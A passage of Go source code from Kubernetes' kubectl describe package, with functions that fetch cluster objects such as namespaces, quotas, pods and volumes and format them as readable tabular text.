corev1.GroupName, Kind: ""PriorityClass""}: &PriorityClassDescriber{c}, {Group: extensionsv1beta1.GroupName, Kind: ""ReplicaSet""}: &ReplicaSetDescriber{c}, {Group: extensionsv1beta1.GroupName, Kind: ""NetworkPolicy""}: &NetworkPolicyDescriber{c}, {Group: extensionsv1beta1.GroupName, Kind: ""PodSecurityPolicy""}: &PodSecurityPolicyDescriber{c}, {Group: autoscalingv2beta2.GroupName, Kind: ""HorizontalPodAutoscaler""}: &HorizontalPodAutoscalerDescriber{c}, {Group: extensionsv1beta1.GroupName, Kind: ""DaemonSet""}: &DaemonSetDescriber{c}, {Group: extensionsv1beta1.GroupName, Kind: ""Deployment""}: &DeploymentDescriber{c}, {Group: extensionsv1beta1.GroupName, Kind: ""Ingress""}: &IngressDescriber{c}, {Group: networkingv1beta1.GroupName, Kind: ""Ingress""}: &IngressDescriber{c}, {Group: batchv1.GroupName, Kind: ""Job""}: &JobDescriber{c}, {Group: batchv1.GroupName, Kind: ""CronJob""}: &CronJobDescriber{c}, {Group: appsv1.GroupName, Kind: ""StatefulSet""}: &StatefulSetDescriber{c}, {Group: appsv1.GroupName, Kind: ""Deployment""}: &DeploymentDescriber{c}, {Group: appsv1.GroupName, Kind: ""DaemonSet""}: &DaemonSetDescriber{c}, {Group: appsv1.GroupName, Kind: ""ReplicaSet""}: &ReplicaSetDescriber{c}, {Group: certificatesv1beta1.GroupName, Kind: ""CertificateSigningRequest""}: &CertificateSigningRequestDescriber{c}, {Group: storagev1.GroupName, Kind: ""StorageClass""}: &StorageClassDescriber{c}, {Group: policyv1beta1.GroupName, Kind: ""PodDisruptionBudget""}: &PodDisruptionBudgetDescriber{c}, {Group: rbacv1.GroupName, Kind: ""Role""}: &RoleDescriber{c}, {Group: rbacv1.GroupName, Kind: ""ClusterRole""}: &ClusterRoleDescriber{c}, {Group: rbacv1.GroupName, Kind: ""RoleBinding""}: &RoleBindingDescriber{c}, {Group: rbacv1.GroupName, Kind: ""ClusterRoleBinding""}: &ClusterRoleBindingDescriber{c}, {Group: networkingv1.GroupName, Kind: ""NetworkPolicy""}: &NetworkPolicyDescriber{c}, {Group: schedulingv1.GroupName, Kind: ""PriorityClass""}: &PriorityClassDescriber{c}, } return m, nil } // DescriberFor returns the default describe functions for each of the standard // Kubernetes types. func DescriberFor(kind schema.GroupKind, clientConfig *rest.Config) (describe.Describer, bool) { describers, err := describerMap(clientConfig) if err != nil { klog.V(1).Info(err) return nil, false } f, ok := describers[kind] return f, ok } // GenericDescriberFor returns a generic describer for the specified mapping // that uses only information available from runtime.Unstructured func GenericDescriberFor(mapping *meta.RESTMapping, clientConfig *rest.Config) (describe.Describer, bool) { // used to fetch the resource dynamicClient, err := dynamic.NewForConfig(clientConfig) if err != nil { return nil, false } // used to get events for the resource clientSet, err := clientset.NewForConfig(clientConfig) if err != nil { return nil, false } eventsClient := clientSet.CoreV1() return &genericDescriber{mapping, dynamicClient, eventsClient}, true } type genericDescriber struct { mapping *meta.RESTMapping dynamic dynamic.Interface events corev1client.EventsGetter } func (g *genericDescriber) Describe(namespace, name string, describerSettings describe.DescriberSettings) (output string, err error) { obj, err := g.dynamic.Resource(g.mapping.Resource).Namespace(namespace).Get(name, metav1.GetOptions{}) if err != nil { return """", err } var events *corev1.EventList if describerSettings.ShowEvents { events, _ = g.events.Events(namespace).Search(scheme.Scheme, obj) } return tabbedString(func(out io.Writer) error { w := NewPrefixWriter(out) w.Write(LEVEL_0, ""Name:\t%s\n"", obj.GetName()) w.Write(LEVEL_0, ""Namespace:\t%s\n"", obj.GetNamespace()) printLabelsMultiline(w, ""Labels"", obj.GetLabels()) printAnnotationsMultiline(w, ""Annotations"", obj.GetAnnotations()) printUnstructuredContent(w, LEVEL_0, obj.UnstructuredContent(), """", "".metadata.name"", "".metadata.namespace"", "".metadata.labels"", "".metadata.annotations"") if events != nil { DescribeEvents(events, w) } return nil }) } func printUnstructuredContent(w PrefixWriter, level int, content map[string]interface{}, skipPrefix string, skip ...string) { fields := []string{} for field := range content { fields = append(fields, field) } sort.Strings(fields) for _, field := range fields { value := content[field] switch typedValue := value.(type) { case map[string]interface{}: skipExpr := fmt.Sprintf(""%s.%s"", skipPrefix, field) if slice.ContainsString(skip, skipExpr, nil) { continue } w.Write(level, ""%s:\n"", smartLabelFor(field)) printUnstructuredContent(w, level+1, typedValue, skipExpr, skip...) case []interface{}: skipExpr := fmt.Sprintf(""%s.%s"", skipPrefix, field) if slice.ContainsString(skip, skipExpr, nil) { continue } w.Write(level, ""%s:\n"", smartLabelFor(field)) for _, child := range typedValue { switch typedChild := child.(type) { case map[string]interface{}: printUnstructuredContent(w, level+1, typedChild, skipExpr, skip...) default: w.Write(level+1, ""%v\n"", typedChild) } } default: skipExpr := fmt.Sprintf(""%s.%s"", skipPrefix, field) if slice.ContainsString(skip, skipExpr, nil) { continue } w.Write(level, ""%s:\t%v\n"", smartLabelFor(field), typedValue) } } } func smartLabelFor(field string) string { // skip creating smart label if field name contains // special characters other than '-' if strings.IndexFunc(field, func(r rune) bool { return !unicode.IsLetter(r) && r != '-' }) != -1 { return field } commonAcronyms := []string{""API"", ""URL"", ""UID"", ""OSB"", ""GUID""} parts := camelcase.Split(field) result := make([]string, 0, len(parts)) for _, part := range parts { if part == ""_"" { continue } if slice.ContainsString(commonAcronyms, strings.ToUpper(part), nil) { part = strings.ToUpper(part) } else { part = strings.Title(part) } result = append(result, part) } return strings.Join(result, "" "") } // DefaultObjectDescriber can describe the default Kubernetes objects. var DefaultObjectDescriber describe.ObjectDescriber func init() { d := &Describers{} err := d.Add( describeLimitRange, describeQuota, describePod, describeService, describeReplicationController, describeDaemonSet, describeNode, describeNamespace, ) if err != nil { klog.Fatalf(""Cannot register describers: %v"", err) } DefaultObjectDescriber = d } // NamespaceDescriber generates information about a namespace type NamespaceDescriber struct { clientset.Interface } func (d *NamespaceDescriber) Describe(namespace, name string, describerSettings describe.DescriberSettings) (string, error) { ns, err := d.CoreV1().Namespaces().Get(name, metav1.GetOptions{}) if err != nil { return """", err } resourceQuotaList, err := d.CoreV1().ResourceQuotas(name).List(metav1.ListOptions{}) if err != nil { if errors.IsNotFound(err) { // Server does not support resource quotas. // Not an error, will not show resource quotas information. resourceQuotaList = nil } else { return """", err } } limitRangeList, err := d.CoreV1().LimitRanges(name).List(metav1.ListOptions{}) if err != nil { if errors.IsNotFound(err) { // Server does not support limit ranges. // Not an error, will not show limit ranges information. limitRangeList = nil } else { return """", err } } return describeNamespace(ns, resourceQuotaList, limitRangeList) } func describeNamespace(namespace *corev1.Namespace, resourceQuotaList *corev1.ResourceQuotaList, limitRangeList *corev1.LimitRangeList) (string, error) { return tabbedString(func(out io.Writer) error { w := NewPrefixWriter(out) w.Write(LEVEL_0, ""Name:\t%s\n"", namespace.Name) printLabelsMultiline(w, ""Labels"", namespace.Labels) printAnnotationsMultiline(w, ""Annotations"", namespace.Annotations) w.Write(LEVEL_0, ""Status:\t%s\n"", string(namespace.Status.Phase)) if resourceQuotaList != nil { w.Write(LEVEL_0, ""\n"") DescribeResourceQuotas(resourceQuotaList, w) } if limitRangeList != nil { w.Write(LEVEL_0, ""\n"") DescribeLimitRanges(limitRangeList, w) } return nil }) } func describeLimitRangeSpec(spec corev1.LimitRangeSpec, prefix string, w PrefixWriter) { for i := range spec.Limits { item := spec.Limits[i] maxResources := item.Max minResources := item.Min defaultLimitResources := item.Default defaultRequestResources := item.DefaultRequest ratio := item.MaxLimitRequestRatio set := map[corev1.ResourceName]bool{} for k := range maxResources { set[k] = true } for k := range minResources { set[k] = true } for k := range defaultLimitResources { set[k] = true } for k := range defaultRequestResources { set[k] = true } for k := range ratio { set[k] = true } for k := range set { // if no value is set, we output - maxValue := ""-"" minValue := ""-"" defaultLimitValue := ""-"" defaultRequestValue := ""-"" ratioValue := ""-"" maxQuantity, maxQuantityFound := maxResources[k] if maxQuantityFound { maxValue = maxQuantity.String() } minQuantity, minQuantityFound := minResources[k] if minQuantityFound { minValue = minQuantity.String() } defaultLimitQuantity, defaultLimitQuantityFound := defaultLimitResources[k] if defaultLimitQuantityFound { defaultLimitValue = defaultLimitQuantity.String() } defaultRequestQuantity, defaultRequestQuantityFound := defaultRequestResources[k] if defaultRequestQuantityFound { defaultRequestValue = defaultRequestQuantity.String() } ratioQuantity, ratioQuantityFound := ratio[k] if ratioQuantityFound { ratioValue = ratioQuantity.String() } msg := ""%s%s\t%v\t%v\t%v\t%v\t%v\t%v\n"" w.Write(LEVEL_0, msg, prefix, item.Type, k, minValue, maxValue, defaultRequestValue, defaultLimitValue, ratioValue) } } } // DescribeLimitRanges merges a set of limit range items into a single tabular description func DescribeLimitRanges(limitRanges *corev1.LimitRangeList, w PrefixWriter) { if len(limitRanges.Items) == 0 { w.Write(LEVEL_0, ""No resource limits.\n"") return } w.Write(LEVEL_0, ""Resource Limits\n Type\tResource\tMin\tMax\tDefault Request\tDefault Limit\tMax Limit/Request Ratio\n"") w.Write(LEVEL_0, "" ----\t--------\t---\t---\t---------------\t-------------\t-----------------------\n"") for _, limitRange := range limitRanges.Items { describeLimitRangeSpec(limitRange.Spec, "" "", w) } } // DescribeResourceQuotas merges a set of quota items into a single tabular description of all quotas func DescribeResourceQuotas(quotas *corev1.ResourceQuotaList, w PrefixWriter) { if len(quotas.Items) == 0 { w.Write(LEVEL_0, ""No resource quota.\n"") return } sort.Sort(SortableResourceQuotas(quotas.Items)) w.Write(LEVEL_0, ""Resource Quotas"") for _, q := range quotas.Items { w.Write(LEVEL_0, ""\n Name:\t%s\n"", q.Name) if len(q.Spec.Scopes) > 0 { scopes := make([]string, 0, len(q.Spec.Scopes)) for _, scope := range q.Spec.Scopes { scopes = append(scopes, string(scope)) } sort.Strings(scopes) w.Write(LEVEL_0, "" Scopes:\t%s\n"", strings.Join(scopes, "", "")) for _, scope := range scopes { helpText := helpTextForResourceQuotaScope(corev1.ResourceQuotaScope(scope)) if len(helpText) > 0 { w.Write(LEVEL_0, "" * %s\n"", helpText) } } } w.Write(LEVEL_0, "" Resource\tUsed\tHard\n"") w.Write(LEVEL_0, "" --------\t---\t---\n"") resources := make([]corev1.ResourceName, 0, len(q.Status.Hard)) for resource := range q.Status.Hard { resources = append(resources, resource) } sort.Sort(SortableResourceNames(resources)) for _, resource := range resources { hardQuantity := q.Status.Hard[resource] usedQuantity := q.Status.Used[resource] w.Write(LEVEL_0, "" %s\t%s\t%s\n"", string(resource), usedQuantity.String(), hardQuantity.String()) } } } // LimitRangeDescriber generates information about a limit range type LimitRangeDescriber struct { clientset.Interface } func (d *LimitRangeDescriber) Describe(namespace, name string, describerSettings describe.DescriberSettings) (string, error) { lr := d.CoreV1().LimitRanges(namespace) limitRange, err := lr.Get(name, metav1.GetOptions{}) if err != nil { return """", err } return describeLimitRange(limitRange) } func describeLimitRange(limitRange *corev1.LimitRange) (string, error) { return tabbedString(func(out io.Writer) error { w := NewPrefixWriter(out) w.Write(LEVEL_0, ""Name:\t%s\n"", limitRange.Name) w.Write(LEVEL_0, ""Namespace:\t%s\n"", limitRange.Namespace) w.Write(LEVEL_0, ""Type\tResource\tMin\tMax\tDefault Request\tDefault Limit\tMax Limit/Request Ratio\n"") w.Write(LEVEL_0, ""----\t--------\t---\t---\t---------------\t-------------\t-----------------------\n"") describeLimitRangeSpec(limitRange.Spec, """", w) return nil }) } // ResourceQuotaDescriber generates information about a resource quota type ResourceQuotaDescriber struct { clientset.Interface } func (d *ResourceQuotaDescriber) Describe(namespace, name string, describerSettings describe.DescriberSettings) (string, error) { rq := d.CoreV1().ResourceQuotas(namespace) resourceQuota, err := rq.Get(name, metav1.GetOptions{}) if err != nil { return """", err } return describeQuota(resourceQuota) } func helpTextForResourceQuotaScope(scope corev1.ResourceQuotaScope) string { switch scope { case corev1.ResourceQuotaScopeTerminating: return ""Matches all pods that have an active deadline. These pods have a limited lifespan on a node before being actively terminated by the system."" case corev1.ResourceQuotaScopeNotTerminating: return ""Matches all pods that do not have an active deadline. These pods usually include long running pods whose container command is not expected to terminate."" case corev1.ResourceQuotaScopeBestEffort: return ""Matches all pods that do not have resource requirements set. These pods have a best effort quality of service."" case corev1.ResourceQuotaScopeNotBestEffort: return ""Matches all pods that have at least one resource requirement set. These pods have a burstable or guaranteed quality of service."" default: return """" } } func describeQuota(resourceQuota *corev1.ResourceQuota) (string, error) { return tabbedString(func(out io.Writer) error { w := NewPrefixWriter(out) w.Write(LEVEL_0, ""Name:\t%s\n"", resourceQuota.Name) w.Write(LEVEL_0, ""Namespace:\t%s\n"", resourceQuota.Namespace) if len(resourceQuota.Spec.Scopes) > 0 { scopes := make([]string, 0, len(resourceQuota.Spec.Scopes)) for _, scope := range resourceQuota.Spec.Scopes { scopes = append(scopes, string(scope)) } sort.Strings(scopes) w.Write(LEVEL_0, ""Scopes:\t%s\n"", strings.Join(scopes, "", "")) for _, scope := range scopes { helpText := helpTextForResourceQuotaScope(corev1.ResourceQuotaScope(scope)) if len(helpText) > 0 { w.Write(LEVEL_0, "" * %s\n"", helpText) } } } w.Write(LEVEL_0, ""Resource\tUsed\tHard\n"") w.Write(LEVEL_0, ""--------\t----\t----\n"") resources := make([]corev1.ResourceName, 0, len(resourceQuota.Status.Hard)) for resource := range resourceQuota.Status.Hard { resources = append(resources, resource) } sort.Sort(SortableResourceNames(resources)) msg := ""%v\t%v\t%v\n"" for i := range resources { resource := resources[i] hardQuantity := resourceQuota.Status.Hard[resource] usedQuantity := resourceQuota.Status.Used[resource] w.Write(LEVEL_0, msg, resource, usedQuantity.String(), hardQuantity.String()) } return nil }) } // PodDescriber generates information about a pod and the replication controllers that // create it. type PodDescriber struct { clientset.Interface } func (d *PodDescriber) Describe(namespace, name string, describerSettings describe.DescriberSettings) (string, error) { pod, err := d.CoreV1().Pods(namespace).Get(name, metav1.GetOptions{}) if err != nil { if describerSettings.ShowEvents { eventsInterface := d.CoreV1().Events(namespace) selector := eventsInterface.GetFieldSelector(&name, &namespace, nil, nil) options := metav1.ListOptions{FieldSelector: selector.String()} events, err2 := eventsInterface.List(options) if describerSettings.ShowEvents && err2 == nil && len(events.Items) > 0 { return tabbedString(func(out io.Writer) error { w := NewPrefixWriter(out) w.Write(LEVEL_0, ""Pod '%v': error '%v', but found events.\n"", name, err) DescribeEvents(events, w) return nil }) } } return """", err } var events *corev1.EventList if describerSettings.ShowEvents { if ref, err := reference.GetReference(scheme.Scheme, pod); err != nil { klog.Errorf(""Unable to construct reference to '%#v': %v"", pod, err) } else { ref.Kind = """" if _, isMirrorPod := pod.Annotations[corev1.MirrorPodAnnotationKey]; isMirrorPod { ref.UID = types.UID(pod.Annotations[corev1.MirrorPodAnnotationKey]) } events, _ = d.CoreV1().Events(namespace).Search(scheme.Scheme, ref) } } return describePod(pod, events) } func describePod(pod *corev1.Pod, events *corev1.EventList) (string, error) { return tabbedString(func(out io.Writer) error { w := NewPrefixWriter(out) w.Write(LEVEL_0, ""Name:\t%s\n"", pod.Name) w.Write(LEVEL_0, ""Namespace:\t%s\n"", pod.Namespace) if pod.Spec.Priority != nil { w.Write(LEVEL_0, ""Priority:\t%d\n"", *pod.Spec.Priority) } if len(pod.Spec.PriorityClassName) > 0 { w.Write(LEVEL_0, ""Priority Class Name:\t%s\n"", stringOrNone(pod.Spec.PriorityClassName)) } if pod.Spec.NodeName == """" { w.Write(LEVEL_0, ""Node:\t\n"") } else { w.Write(LEVEL_0, ""Node:\t%s\n"", pod.Spec.NodeName+""/""+pod.Status.HostIP) } if pod.Status.StartTime != nil { w.Write(LEVEL_0, ""Start Time:\t%s\n"", pod.Status.StartTime.Time.Format(time.RFC1123Z)) } printLabelsMultiline(w, ""Labels"", pod.Labels) printAnnotationsMultiline(w, ""Annotations"", pod.Annotations) if pod.DeletionTimestamp != nil { w.Write(LEVEL_0, ""Status:\tTerminating (lasts %s)\n"", translateTimestampSince(*pod.DeletionTimestamp)) w.Write(LEVEL_0, ""Termination Grace Period:\t%ds\n"", *pod.DeletionGracePeriodSeconds) } else { w.Write(LEVEL_0, ""Status:\t%s\n"", string(pod.Status.Phase)) } if len(pod.Status.Reason) > 0 { w.Write(LEVEL_0, ""Reason:\t%s\n"", pod.Status.Reason) } if len(pod.Status.Message) > 0 { w.Write(LEVEL_0, ""Message:\t%s\n"", pod.Status.Message) } // remove when .IP field is depreciated w.Write(LEVEL_0, ""IP:\t%s\n"", pod.Status.PodIP) describePodIPs(pod, w, """") if controlledBy := printController(pod); len(controlledBy) > 0 { w.Write(LEVEL_0, ""Controlled By:\t%s\n"", controlledBy) } if len(pod.Status.NominatedNodeName) > 0 { w.Write(LEVEL_0, ""NominatedNodeName:\t%s\n"", pod.Status.NominatedNodeName) } if len(pod.Spec.InitContainers) > 0 { describeContainers(""Init Containers"", pod.Spec.InitContainers, pod.Status.InitContainerStatuses, EnvValueRetriever(pod), w, """") } describeContainers(""Containers"", pod.Spec.Containers, pod.Status.ContainerStatuses, EnvValueRetriever(pod), w, """") if len(pod.Spec.EphemeralContainers) > 0 { var ec []corev1.Container for i := range pod.Spec.EphemeralContainers { ec = append(ec, corev1.Container(pod.Spec.EphemeralContainers[i].EphemeralContainerCommon)) } describeContainers(""Ephemeral Containers"", ec, pod.Status.EphemeralContainerStatuses, EnvValueRetriever(pod), w, """") } if len(pod.Spec.ReadinessGates) > 0 { w.Write(LEVEL_0, ""Readiness Gates:\n Type\tStatus\n"") for _, g := range pod.Spec.ReadinessGates { status := """" for _, c := range pod.Status.Conditions { if c.Type == g.ConditionType { status = fmt.Sprintf(""%v"", c.Status) break } } w.Write(LEVEL_1, ""%v \t%v \n"", g.ConditionType, status) } } if len(pod.Status.Conditions) > 0 { w.Write(LEVEL_0, ""Conditions:\n Type\tStatus\n"") for _, c := range pod.Status.Conditions { w.Write(LEVEL_1, ""%v \t%v \n"", c.Type, c.Status) } } describeVolumes(pod.Spec.Volumes, w, """") if pod.Status.QOSClass != """" { w.Write(LEVEL_0, ""QoS Class:\t%s\n"", pod.Status.QOSClass) } else { w.Write(LEVEL_0, ""QoS Class:\t%s\n"", qos.GetPodQOS(pod)) } printLabelsMultiline(w, ""Node-Selectors"", pod.Spec.NodeSelector) printPodTolerationsMultiline(w, ""Tolerations"", pod.Spec.Tolerations) if events != nil { DescribeEvents(events, w) } return nil }) } func printController(controllee metav1.Object) string { if controllerRef := metav1.GetControllerOf(controllee); controllerRef != nil { return fmt.Sprintf(""%s/%s"", controllerRef.Kind, controllerRef.Name) } return """" } func describePodIPs(pod *corev1.Pod, w PrefixWriter, space string) { if len(pod.Status.PodIPs) == 0 { w.Write(LEVEL_0, ""%sIPs:\t\n"", space) return } w.Write(LEVEL_0, ""%sIPs:\n"", space) for _, ipInfo := range pod.Status.PodIPs { w.Write(LEVEL_1, ""IP:\t%s\n"", ipInfo.IP) } } func describeVolumes(volumes []corev1.Volume, w PrefixWriter, space string) { if volumes == nil || len(volumes) == 0 { w.Write(LEVEL_0, ""%sVolumes:\t\n"", space) return } w.Write(LEVEL_0, ""%sVolumes:\n"", space) for _, volume := range volumes { nameIndent := """" if len(space) > 0 { nameIndent = "" "" } w.Write(LEVEL_1, ""%s%v:\n"", nameIndent, volume.Name) switch { case volume.VolumeSource.HostPath != nil: printHostPathVolumeSource(volume.VolumeSource.HostPath, w) case volume.VolumeSource.EmptyDir != nil: printEmptyDirVolumeSource(volume.VolumeSource.EmptyDir, w) case volume.VolumeSource.GCEPersistentDisk != nil: printGCEPersistentDiskVolumeSource(volume.VolumeSource.GCEPersistentDisk, w) case volume.VolumeSource.AWSElasticBlockStore != nil: printAWSElasticBlockStoreVolumeSource(volume.VolumeSource.AWSElasticBlockStore, w) case volume.VolumeSource.GitRepo != nil: printGitRepoVolumeSource(volume.VolumeSource.GitRepo, w) case volume.VolumeSource.Secret != nil: printSecretVolumeSource(volume.VolumeSource.Secret, w) case volume.VolumeSource.ConfigMap != nil: printConfigMapVolumeSource(volume.VolumeSource.ConfigMap, w) case volume.VolumeSource.NFS != nil: printNFSVolumeSource(volume.VolumeSource.NFS, w) case volume.VolumeSource.ISCSI != nil: printISCSIVolumeSource(volume.VolumeSource.ISCSI, w) case volume.VolumeSource.Glusterfs != nil: printGlusterfsVolumeSource(volume.VolumeSource.Glusterfs, w) case volume.VolumeSource.PersistentVolumeClaim != nil: printPersistentVolumeClaimVolumeSource(volume.VolumeSource.PersistentVolumeClaim, w) case volume.VolumeSource.RBD != nil: printRBDVolumeSource(volume.VolumeSource.RBD, w) case volume.VolumeSource.Quobyte != nil: printQuobyteVolumeSource(volume.VolumeSource.Quobyte, w) case volume.VolumeSource.DownwardAPI != nil: printDownwardAPIVolumeSource(volume.VolumeSource.DownwardAPI, w) case volume.VolumeSource.AzureDisk != nil: printAzureDiskVolumeSource(volume.VolumeSource.AzureDisk, w) case volume.VolumeSource.VsphereVolume != nil: printVsphereVolumeSource(volume.VolumeSource.VsphereVolume, w) case volume.VolumeSource.Cinder != nil: printCinderVolumeSource(volume.VolumeSource.Cinder, w) case volume.VolumeSource.PhotonPersistentDisk != nil: printPhotonPersistentDiskVolumeSource(volume.VolumeSource.PhotonPersistentDisk, w) case volume.VolumeSource.PortworxVolume != nil: printPortworxVolumeSource(volume.VolumeSource.PortworxVolume, w) case volume.VolumeSource.ScaleIO != nil: printScaleIOVolumeSource(volume.VolumeSource.ScaleIO, w) case volume.VolumeSource.CephFS != nil: printCephFSVolumeSource(volume.VolumeSource.CephFS, w) case volume.VolumeSource.StorageOS != nil: printStorageOSVolumeSource(volume.VolumeSource.StorageOS, w) case volume.VolumeSource.FC != nil: printFCVolumeSource(volume.VolumeSource.FC, w) case volume.VolumeSource.AzureFile != nil: printAzureFileVolumeSource(volume.VolumeSource.AzureFile, w) case volume.VolumeSource.FlexVolume != nil: printFlexVolumeSource(volume.VolumeSource.FlexVolume, w) case volume.VolumeSource.Flocker != nil: printFlockerVolumeSource(volume.VolumeSource.Flocker, w) case volume.VolumeSource.Projected != nil: printProjectedVolumeSource(volume.VolumeSource.Projected, w) case volume.VolumeSource.CSI != nil: printCSIVolumeSource(volume.VolumeSource.CSI, w) default: w.Write(LEVEL_1, ""\n"") } } } func printHostPathVolumeSource(hostPath *corev1.HostPathVolumeSource, w PrefixWriter) { hostPathType := """" if hostPath.Type != nil { hostPathType = string(*hostPath.Type) } w.Write(LEVEL_2, ""Type:\tHostPath (bare host directory volume)\n""+ "" Path:\t%v\n""+ "" HostPathType:\t%v\n"", hostPath.Path, hostPathType) } func printEmptyDirVolumeSource(emptyDir *corev1.EmptyDirVolumeSource, w PrefixWriter) { var sizeLimit string if emptyDir.SizeLimit != nil && emptyDir.SizeLimit.Cmp(resource.Quantity{}) > 0 { sizeLimit = fmt.Sprintf(""%v"", emptyDir.SizeLimit) } else { sizeLimit = """" } w.Write(LEVEL_2, ""Type:\tEmptyDir (a temporary directory that shares a pod's lifetime)\n""+ "" Medium:\t%v\n""+ "" SizeLimit:\t%v\n"", emptyDir.Medium, sizeLimit) } func printGCEPersistentDiskVolumeSource(gce *corev1.GCEPersistentDiskVolumeSource, w PrefixWriter) { w.Write(LEVEL_2, ""Type:\tGCEPersistentDisk (a Persistent Disk resource in Google Compute Engine)\n""+ "" PDName:\t%v\n""+ "" FSType:\t%v\n""+ "" Partition:\t%v\n""+ "" ReadOnly:\t%v\n"", gce.PDName, gce.FSType, gce.Partition, gce.ReadOnly) } func printAWSElasticBlockStoreVolumeSource(aws *corev1.AWSElasticBlockStoreVolumeSource, w PrefixWriter) { w.Write(LEVEL_2, ""Type:\tAWSElasticBlockStore (a Persistent Disk resource in AWS)\n""+ "" VolumeID:\t%v\n""+ "" FSType:\t%v\n""+ "" Partition:\t%v\n""+ "" ReadOnly:\t%v\n"", aws.VolumeID, aws.FSType, aws.Partition, aws.ReadOnly) } func printGitRepoVolumeSource(git *corev1.GitRepoVolumeSource, w PrefixWriter) { w.Write(LEVEL_2, ""Type:\tGitRepo (a volume that is pulled from git when the pod is created)\n""+ "" Repository:\t%v\n""+ "" Revision:\t%v\n"", git.Repository, git.Revision) } func printSecretVolumeSource(secret *corev1.SecretVolumeSource, w PrefixWriter) { optional := secret.Optional != nil && *secret.Optional w.Write(LEVEL_2, ""Type:\tSecret (a volume populated by a Secret)\n""+ "" SecretName:\t%v\n""+ "" Optional:\t%v\n"", secret.SecretName, optional) } func printConfigMapVolumeSource(configMap *corev1.ConfigMapVolumeSource, w PrefixWriter) { optional := configMap.Optional != nil && *configMap.Optional w.Write(LEVEL_2, ""Type:\tConfigMap (a volume populated by a ConfigMap)\n""+ "" Name:\t%v\n""+ "" Optional:\t%v\n"", configMap.Name, optional) } func printProjectedVolumeSource(projected *corev1.ProjectedVolumeSource, w PrefixWriter) { w.Write(LEVEL_2, ""Type:\tProjected (a volume that contains injected data from multiple sources)\n"") for _, source := range projected.Sources { if source.Secret != nil { w.Write(LEVEL_2, ""SecretName:\t%v\n""+ "" SecretOptionalName:\t%v\n"", source.Secret.Name, source.Secret.Optional) } else if source.DownwardAPI != nil { w.Write(LEVEL_2, ""DownwardAPI:\ttrue\n"") } else if source.ConfigMap != nil { w.Write(LEVEL_2, ""ConfigMapName:\t%v\n""+ "" ConfigMapOptional:\t%v\n"", source.ConfigMap.Name, source.ConfigMap.Optional) } else if source.ServiceAccountToken != nil { w.Write(LEVEL_2, ""TokenExpirationSeconds:\t%d\n"", *source.ServiceAccountToken.ExpirationSeconds) } } } func printNFSVolumeSource(nfs *corev1.NFSVolumeSource, w PrefixWriter) { w.Write(LEVEL_2, ""Type:\tNFS (an NFS mount that lasts the lifetime of a pod)\n""+ "" Server:\t%v\n""+ "" Path:\t%v\n""+ "" ReadOnly:\t%v\n"", nfs.Server, nfs.Path, nfs.ReadOnly) } func printQuobyteVolumeSource(quobyte *corev1.QuobyteVolumeSource, w PrefixWriter) { w.Write(LEVEL_2, ""Type:\tQuobyte (a Quobyte mount on the host that shares a pod's lifetime)\n""+ "" Registry:\t%v\n""+ "" Volume:\t%v\n""+ "" ReadOnly:\t%v\n"", quobyte.Registry, quobyte.Volume, quobyte.ReadOnly) } func printPortworxVolumeSource(pwxVolume *corev1.PortworxVolumeSource, w PrefixWriter) { w.Write(LEVEL_2, ""Type:\tPortworxVolume (a Portworx Volume resource)\n""+ "" VolumeID:\t%v\n"", pwxVolume.VolumeID) } func printISCSIVolumeSource(iscsi *corev1.ISCSIVolumeSource, w PrefixWriter) { initiator := """" if iscsi.InitiatorName != nil { initiator = *iscsi.InitiatorName } w.Write(LEVEL_2, ""Type:\tISCSI (an ISCSI Disk resource that is attached to a kubelet's host machine and then exposed to the pod)\n""+ "" TargetPortal:\t%v\n""+ "" IQN:\t%v\n""+ "" Lun:\t%v\n""+ "" ISCSIInterface\t%v\n""+ "" FSType:\t%v\n""+ "" ReadOnly:\t%v\n""+ "" Portals:\t%v\n""+ "" DiscoveryCHAPAuth:\t%v\n""+ "" SessionCHAPAuth:\t%v\n""+ "" SecretRef:\t%v\n""+ "" InitiatorName:\t%v\n"", iscsi.TargetPortal, iscsi.IQN, iscsi.Lun, iscsi.ISCSIInterface, iscsi.FSType, iscsi.ReadOnly, iscsi.Portals, iscsi.DiscoveryCHAPAuth, iscsi.SessionCHAPAuth, iscsi.SecretRef, initiator) } func printISCSIPersistentVolumeSource(iscsi *corev1.ISCSIPersistentVolumeSource, w PrefixWriter) { initiatorName := """" if iscsi.InitiatorName != nil { initiatorName = *iscsi.InitiatorName } w.Write(LEVEL_2, ""Type:\tISCSI (an ISCSI Disk resource that is attached to a kubelet's host machine and then exposed to the pod)\n""+ "" TargetPortal:\t%v\n""+ "" IQN:\t%v\n""+ "" Lun:\t%v\n""+ "" ISCSIInterface\t%v\n""+ "" FSType:\t%v\n""+ "" ReadOnly:\t%v\n""+ "" Portals:\t%v\n""+ "" DiscoveryCHAPAuth:\t%v\n""+ "" SessionCHAPAuth:\t%v\n""+ "" SecretRef:\t%v\n""+ "" InitiatorName:\t%v\n"", iscsi.TargetPortal, iscsi.IQN, iscsi.Lun, iscsi.ISCSIInterface, iscsi.FSType, iscsi.ReadOnly, iscsi.Portals, iscsi.DiscoveryCHAPAuth, iscsi.SessionCHAPAuth, iscsi.SecretRef, initiatorName) } func printGlusterfsVolumeSource(glusterfs *corev1.GlusterfsVolumeSource, w PrefixWriter) { w.Write(LEVEL_2, ""Type:\tGlusterfs (a Glusterfs mount on the host that shares a pod's lifetime)\n""+ "" EndpointsName:\t%v\n""+ "" Path:\t%v\n""+ "" ReadOnly:\t%v\n"", glusterfs.EndpointsName, glusterfs.Path, glusterfs.ReadOnly) } func printGlusterfsPersistentVolumeSource(glusterfs *corev1.GlusterfsPersistentVolumeSource, w PrefixWriter) { endpointsNamespace := """" if glusterfs.EndpointsNamespace != nil { endpointsNamespace = *glusterfs.EndpointsNamespace } w.Write(LEVEL_2, ""Type:\tGlusterfs (a Glusterfs mount on the host that shares a pod's lifetime)\n""+ "" EndpointsName:\t%v\n""+ "" EndpointsNamespace:\t%v\n""+ "" Path:\t%v\n""+ "" ReadOnly:\t%v\n"", glusterfs.EndpointsName, endpointsNamespace, glusterfs.Path, glusterfs.ReadOnly) } func printPersistentVolumeClaimVolumeSource(claim *corev1.PersistentVolumeClaimVolumeSource, w PrefixWriter) { w.Write(LEVEL_2, ""Type:\tPersistentVolumeClaim (a reference to a PersistentVolumeClaim in the same namespace)\n""+ "" ClaimName:\t%v\n""+ "" ReadOnly:\t%v\n"", claim.ClaimName, claim.ReadOnly) } func printRBDVolumeSource(rbd *corev1.RBDVolumeSource, w PrefixWriter) { w.Write(LEVEL_2, ""Type:\tRBD (a Rados Block Device mount on the host that shares a pod's lifetime)\n""+ "" CephMonitors:\t%v\n""+ "" 